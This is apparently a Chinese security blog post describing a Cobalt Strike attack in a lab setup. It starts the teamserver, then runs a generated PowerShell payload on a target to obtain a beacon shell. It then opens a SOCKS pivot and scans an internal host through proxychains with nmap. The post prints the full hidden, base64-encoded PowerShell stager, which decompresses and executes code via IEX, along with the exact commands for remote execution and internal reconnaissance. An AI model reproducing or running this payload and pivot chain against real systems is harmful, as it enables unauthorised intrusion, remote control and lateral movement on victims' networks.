安全攻防 | CobaltStrike 代理

betasec · 公众号 · · 2021-03-12 09:23

正文

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本次所使用的攻击机为kali linux系统，攻击过程中涉及到的工具主要有：proxychains，nmap等。攻击的拓扑结构如下图所示。

反弹Shell

首先启动CobaltStrike的服务端，并执行命令如下所示：

>>> ./teamserver 192.168.43.137 xxxxxx

启动Cobaltstrike的客户端，并填写运行服务端的ip地址，端口号，用户名，及在服务端设置的密码口令。

进入CobaltStrike客户端控制面板以后，依次点击Attacks>Payload Generator选项，设置监听以及生成payload。

点击Add选项后，设置监听方式及监听的端口号，输出方式选择Powershell Command。

如下为生成的powershell形式的payload。

将复制的payload在目标服务器主机上执行，如下所示：

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBhADQAKwBpAFMAaAByACsAMwBQADAAcgArAE4AQwBKAEcAbQAwAEgAOABkAGEAZQB6AFMAUQBIAEIAUgBSAEUAUgBQAEcARwBmAFQAcQBkAEUAawBwAEYAdQBSAFkARgBnAG0AZgBuAHYAMgArAEIAMgB0ADIAegAwADcAMAA3AHkAYQA2AEoAbwBRAHIAZQB5ADEAUABQAGUANgBsAFgAZwAvAGgAUgB3ADgAZwB5ADgATQBnAHoASQBmAFcANABnAEMAaQAwAFAASgBkAGkANwB1ACsAMwBrAFcAdgBnAGIASgAwAHQAWABuAGMAUQB2AC8AcgBJAE0AMQA2AEIAYQBTAEkAWQBoAHQAVABmADkAMwBjAHEAUQBNAEMAaABpAGcAOAB4AFEASwArAE8AWgAwAFkAMgByAEYARAA1AEoAaABPAEUAWgBvAFIAZwA2AGUANwB1AC8AaQA1AC8ARgBiAGsAaAAyAE0ASgBYAEYAMgBBAHIAaABxADgATwB4AEgAdgBQAEQASwBuAHYAVgBQAEcAWgA5AFgAMwBPAGMANABEAGwAdgB2AHoAeABSAHkAOQBDAEMATAByADQAcwBxAC8AMgBJAFcAYgBEAEUARABvAGIAMgA0AEoAaABzAFUAVAA5AGsAMQByAHUASQBZAEsAUAA0ADgAMABCAEcAcABqADYAbQAzAHAANAByAGYAWgB0AGIAdwBQAHMAcQAxAGoAYQBBADgAYQBlAG4ASQBKADEAegBlAHkAYgA3AEIAawBnAE8AMABGAFYAOAAyADAATABGAHcAdAAvAC8AVgBVAG8AUABUAC8AVwBYAHEAcAA4AEUAQQBFADcATABCAGEAMABOAE0AVABRAHEAWgBxADIAWABTAGgAUgBQADAAcQBaAHcAMQBuAHEAdwAyAEoAaABaAEIAbgBJAEMANwAwAHQAcgBpADQAdAB0ADgANQBVADUAegBsADYASgBRAGMALwB1AG0AQQB2AGwASwA0AG4AMgAvAG0AQQBuAE8AUAByAFEAMgBaAFcATAB6AHIARgBBAGwAbQBxAGgAQgB2ADIAdwBtAEcAaABRAGoAMQBuAC8AcAA1AGYAWABxAGcALwAzADkAQgBNAEkAeABkAGIARABxAHkASwBMAG8AYgBJADgAegBXAEkAWQBzAHUAQQBZAFgAVQBBAFgATgBPAEcAVQA3AGcAbABhAG8AVwBRAHgATQB6AGQARgBVAG8ARQBCAEkASQA0AFEAaQA1ADEAdwAwAEwAMABZAHUAOABJAGkAdwA5AHUAWgBOAHMAVgBZAHYAZgA1AGQAKwAyACsARgBCAFYANAB1AHAASAA3AHUAMAByAEYAagAwAHAARQBTAHMAVwBvAFYATABuAG0AeABPAC8AUQBNAGMAcgB6ADUAbQBLAE8ASABPAGMAWAA5AEIAKwBTAHEAMABSACsAdgB5AFIAWQA2AGYANwBIAFoANgBsAHEAUQBoAHYAdQBBAEkAYQB2AG0AUABEADcASQBWAGYAdgA3ACsANgBlADgAeQBVAGsANQB5AG0AcQBYAG0AagBsAGUAdAA4AHAAdQBrAEsATgBDAEEAaQBBAFAAWgBSAG0ANABaAHkAaABDAEoAWgBlADMAdQBOAHoAYwBYAHYAVABEAEMAdABmAEcAcQByAGQAdABLADQANgBsAC8AQgBjAGMASAB5AG4AbgBoAGUAZQBaAGIANwBjADMANQBYAHUAcgA5AG0AVAB2AFgALwBkAFIASgBaAHQAUQBwAFIAOQAvADcAbwBhAE8ATABpADEAWABNAGkAbABMAG4AQQBzADQANQBiAHcAeABjADkAaQBCAHIAYwAyAHoAUABtAG8AMwBzAFEAVQBnAHIATgBZAHUASAA2AEEASgBuAGQAbABwADUAQQBSACsAdgB5AHIARwB1ADkAWQArAEUAMgAzAGUAdwBIAEgARwBpAFQAdQBJAFUARgBGAFUAcQBMADAATQA1AGgATABEAEkAcwBGADAAUgAxAEIAaAAvAEIAMwAyAFoATQAwAGYAZABpAFMATQBvAE0AMwA2AFcAdABwAHAAVABmAHYAMgBUADcATAA1AFoANABOAHcAcgBCAEMAcQBSAEcAcABjADYATgBDAGEAUgBEAFkAMABLAHgAUQByAEIAdABhADEAMAA5AHMAaABMADEAOABXAFgAaQBIAE8ANABwAHMAYgBCAGsAZwB4AEQAZAB6AEwANgBWAFAASwBMADIANgA3AG4AawB1AHEAWgBqAEkASQBOAEUAbABOAE0AdwAwAEgAeABvAFcAcwBEAE4AVwBLAHQAVABBAE0AbQBFADMAMQBhAHoAZABEAFUATABoAFUAMAA1ADYAdwBMAFoASgB5AFIARgBMAE0AWQBrAEoAZQBaAE4AeABvAGUARQBzAFoANQBCAFoAKwBmAGYAOABLAEYAVQAxAGkARQBYAEgAdAA2AEYARABwAFAATQB1AEoATgBoAGcAUgAzAHIATwB0AGEATAB5AGQAQQBNADcAYQBCAGIAKwBBACsAeABiAG4AVgB5AEsASQB1AFAAcQBSAHQASQBIADAAQwBRAEIATgBOAHYARABGAFcAcABoAEkAVQB6ADYAVwBxAEgAeQBTACsATAA5AGIALwBCACsAYgBqAEUALwB3AGUAdwBoAGUAQQAxAGsATQBTADkARQBjAFUAcwBhACsAcQBVAEwARQBIAFoAQwA2ADAAeQBhAE0AUQB5AG8AcAAxAEoAVwBnAHMALwBkAEYARwBlADEAbABKAHMAeABzAHUAdgBtACsAeAB2AFIATwBhADAASQBFAHkAVQBCAGUAVQA0AFgAaABMAEQAVgAwAFAASQBlAFYAeQB6AFUAbQBXAGkAWABkAEYAUwA1AGwAWQA0AE8ASQBpAE8AbAB1AHEAcwBrAGgAcgB0AEEAZgBDAHoAMABRAFcAdQBmAFQASgBqAEkATQAyAFkAWQBCAFEATwBlAEkALwB1AHAAdwBZAFMAaAAzAGIAZgA5AHoAVgA0AE8AUQBDAEkAZgBEAGsAbQBuAHQAMABwADUAbABXAFYAawBxADIAVQAxAEwAVABHAFMAdQAyAGQAWABzAEEAeQBIADYARQAzAEcAbgBqADcAdABJAEQARgBXAEIATQA4AE8AMgA4AE8AZQBzAEoAdwBEADYAeABEAGsAdgBpAEsAbgBVAFQATgA1AGsATQBwAG4AbwA3AFYASABZAHcAWgA2ACsAawBrAEoAeABGAGgAbAB6AFcAVgBzAHQASgB5AGgASgA3AFEAdwAwAFYAMQBFAGYATwBRAGoAUABoAHEAcgBlAGkAUQBIAHMAaQBOAGEAagBYADMATQBMAGIAQQBVAGkALwAyAG4AdwBaAEQAUgB3AFoATwA5AGEAYwBOAGMAMwB3AHcAeQBYADMAcQB3AGkAMABHADIAUAAzAGUAeQB2AFIAWAAwAEkATQByADgANgBJAFIAOQBXAEsAKwAxADQARgBKAHEANgA2ADUAdgB3AFcAVwAwAE8ANQA4AFUAeQB6AEQAUABIAEcAUQBrADgAagA3AHkAUgBvAFkAZgAxAHAAVwB6AHMAVAAwAGUARAA4AEMAdgB6AGIAVgBqAGIAVABpAGIAcgAxAGUARQBtAHgAbwBJAGsATABCAHAASQBVADMAMwA3AFgAagBCAHoAbwA5ADEAZABZADEAeQBiAEwARgBBAE0AQwBvAFoAVABzAHQAZwBwAEwAUAB1AEgAOQBmAG0ASQB1AEQAcgA2AGsAYQBjAEQAMgB3AFUAUgBKAEwAbABOAE0ATwB1AG0ARgA1AGwASABDAG4AVgB0AEMANQA1AEQAdABmAG0ATQBIAGgAcQBtAG0AYwBtAEgAZgBnAE4AMABFAEkAVwA0AFQAUQBoAGYAdABvAFoAdgA4AFkAOABQAEkAagBMAHMAVwB1AHMAQgBNAHMAeAA5AGcAdwAzAFAAUgBnAGQASgB3AHEAYQBCAEgAZABqAG8ARQBqAEQAVgBZAEkAQwBMAEsARQBnAHQAbwBQAG0AVwBEAFUAeQAzAEwAbABlAEoAagA5AHAAMgBPAE0AYQBrAFEAOAAyAEIAMwBrAEkAeQBxAEkAMQBPAG8ARABPAE8AWgBTAEgATQBNADcAVwBxAGMAbwBOAGsAMQBRADgAaQBFADkAUgBOADkAUABqACsAdABKAE8AbQA1ADgATwBOAEUAKwBmADUATgA1AHUAYQA0AFMAUgBJAEkAdwA5ACsAVgBzAFQAUwBMAHcAeQBtAHQARQBLAHEANQBjAFYAdgBXAE0AUABEAEoAUwBlAFcASAAyAHEAbQB5AEoAcwAwAGsAbwBYAGEAZQBPAHcAbgB0AEMAZQB0ADkAUgBYAGQAbwBpAE4AdwBXAFEARwBKAHUAWQBaAE0ARwBQAFoANgA4AGoAVwBXAHMARgBEAGYAbABYAGYAMQBkAEIAUwBsAGoAUQByAEcASwBjAEsATQArAGYAWABVADgANgBSACsATwBtAHgAdAB1AHAAUABsAEcAZwBtADIATQBNAFoAMwBlAGwAeABYAFYAMwBoAFQAeQBOADUAdwBpAGYAagBPAFMAMgB0AHQASwBPAGcAVAB2AGMANwBiAHUATgAyAGcALwBWAHUAcABQAEUAbgBlAHQAWgBuAEYAWgByAEUAWgBEAEEAVABwAGgATwBXAHEAZABYAFoAWgBLADcAdwAwAHgAMQBuADkAaABOAGEAbQBCAG8ANgBXAHoAZQBuADIAdABIAHMAegB4AGIARwBTAEoAagBrADgAdgB0AE4AMwAzAGYANgArADcAMgB6AFcAYQAxAFAAUABhAHYAaABpADYAZgBwAFMAZgBLADcAdgBMAGcATABvADIANQA1AHQAMQBhADQAaABjAEwAWgBxADQAawByADcASgBsAEQAMwBEADYAcABtAHEAZAAyAE8ATgBSAFMAegAvAFoAeAByAFoAWgBwAHgAdQAxAGcANgBhAEIATgBsAFQATABmAFYAagB3AG0ATwBTAFAAdgBaAEQAYQBDAHQASgA3AE0AaABtAGMAdwBTADIAYwBIAHYATwBWAEMAdABVAFkAMwBXAHoAbwB6AGwANQBVAFQAbAA5AFMANwBRAG4ATwA1AGwAWAB1AGUAMwBtAHkAZQBZADgAWQBvAG0AeAAxADIATABXADIAVABPAEoARABNAGEAZABJAG8AZgA0AHYAcgAzAGYAQQAwAEUATgBkAGUAbwB2AEoATgBWAFcAbABLADcARgBZAGEATgAvAHEAbQB2AHAAVgAyAHIAdQBRAHgATQA0AEkAVQAxAHoAcgBiAGMASABqAGkAYQBzAEoAaQBOAFAAWAA4AG0AdQBvAE8ARwB1AHUAbQB2ADIAOABtAHMASQAzAFMAcwBJADQARwB6AG0ANQB4AGwARwBsAGwAdgB6ADEAQQBqADMAYQA2AFAAcQBRAFAAdQBLAFYAeQBZAEQAcQBTADAAQwBSAEsAcwBRADYAZABTAFcAMgBoAHIAcgA2AEoANgBVAEMAYwBKAFAAeQBXAGQAWgB6AGgAeABnAGcAWABXAGsAdQBkAEwAZABwAEQATQBKAEEAUwBIAEUAMgBqAHAANABQAHUAMQAyAGUAMgBKADkAUQB1AE8AUgAyAHMAUwBhADYAUwBHAGgAMQB1AHgASABOAFcAcQAwAE8AZwA1AHoAVQA3AFgATQBPAEcAZQBVAHIAdwBtAFEASAB0ADcAcwBuAG8AUgAwAEYAQwAvAGoAVABKAHkAZgBLAFMAeQBKADQAeQBtAFMAQgBnAFMARgA2AFAATgBzAHYAZwBSAFAASQBhAHQARABpAFgAYgBXADAATwBpACsAWgBDAEMASABwAFQASgBFAFkAOQBVAHYAYwBiAEcAdABaAHgARwA2AFQANgBRAFMAUgAyAGoAVABJAG4AeAAwAHIAYgBxAEgAZABGAHcARQA5AG8AVABaAGkARwBpAHAAQwB3AEMAcgA5AG4ANQB5AEsAZABTAGsAYgBFAGYAcwA5AGIANQBkAFoARABaAFAAcABKAHMAbwBuAGkASAB4AFIANQBQAHQAcQBZAGUAbQB0ADQAcABNADIAUgA5AHAAcQA5AEwANQBmAHoAbABuAGoAMwA5AHUAbgA1AEkAWABtADUAagBaAEYAdgArADgAZABOAFEAcwB6AFYAbQAvAGQAMwBQADIANwB6AFEAZwB3ACsAZABNADIAdgBwAHIATQBSAFEATwBFAGUAMgBLAFMAYgBrAGcAbgByAGQAagA4AEsASABoAEsAdQBjADUATABxAFcAWgBsAEcAcwBmAGoANQBhAEgAKwBFAHkASQBVADIARwBYAHYASgBZAEgAeQA3AFYAVgBqAGIAOQBvAHgAcwBzAHYAdABpAHgAUAByAHoAcgBlACsAVAAyADMATgBPAGwAbgBYAG0AMAAxAFgAcAAvAFkASQBvAGwAVwA1AFgAMwB5AGIAYQBiAHYAUAB4ADUAMwByAEUAMgB4AFQANABmAHAAVwBzAHkAZgBrAHEASAA0AGkAVQBvAGIAdgBEACsAdwBwAEYASgAzAFcAYQBwAHIATgBuAGcAeQBiAFcAZgBwACsAWQBuAHUAZQBuAHgAVABkADcAbABXAHoAKwArAHcARABsAG8AeQBzADcAZAAvAFUAMgBzAEsASABJAGQAZQBEAC8ATQBRAFkALwBlAGYAMwB2ADcARwBiADgANQBUAFAAawBPADMAcwA1AG8AcwA4AHAAeQB5ADcAbABmAHcARwB4ADMAMQBUAGcANAB3ADAAQQBBAEEAPQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

执行结束后，成功反弹目标主机的交互式shell。此处可以执行sleep 0设置与目标交互的时间周期。执行shell whoami命令，可对目标主机执行远程命令。

添加sock4代理

在获得了基础的交互shell以后，选择该beacon右键，依次点击Pivoting->SOCKS Server选项，并设定相应的端口号，此处系统默认的端口号为23612。

通过火狐浏览器安装proxy扩展插件，并设定socks代理，配置完成以后，便可以成功访问到内网主机192.168.237.129的web应用，相关配置如下所示：

我们也可以应用 proxychains 工具，进行内网探测，使用编辑器在文件件/etc/proxychains.conf 的最后一行加入 socks4 代理的配置信息。

--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 23612

通过执行代理工具 proxychains，对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示：

>>> proxychains nmap -sT -Pn 192.168.237.129

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